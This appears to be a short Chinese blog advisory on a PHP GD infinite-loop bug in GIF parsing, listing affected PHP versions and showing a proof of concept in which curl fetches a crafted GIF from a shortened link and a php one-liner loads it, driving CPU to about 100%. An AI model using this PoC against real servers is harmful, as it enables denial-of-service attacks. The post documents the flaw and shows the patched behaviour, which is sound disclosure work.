會造成,就是一直 loop,資源被吃光後就掛了

Potential infinite loop in gdImageCreateFromGifCtx

影響版本

PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1

POC

curl -L https://git.io/vN0n4 | xxd -r > poc.gif
php -r 'imagecreatefromgif("poc.gif");'

這時後 CPU 會升高

60770 root 20 0 384900 12704 7664 R 99.9 0.2 0:02.44 php

如果已更新 PHP 的話

PHP Warning:  imagecreatefromgif(): 'poc.gif' is not a valid GIF file in Command line code on line 1
最後修改日期: 2018 年 02 月 03 日

作者

留言

撰寫回覆或留言

發佈留言必須填寫的電子郵件地址不會公開。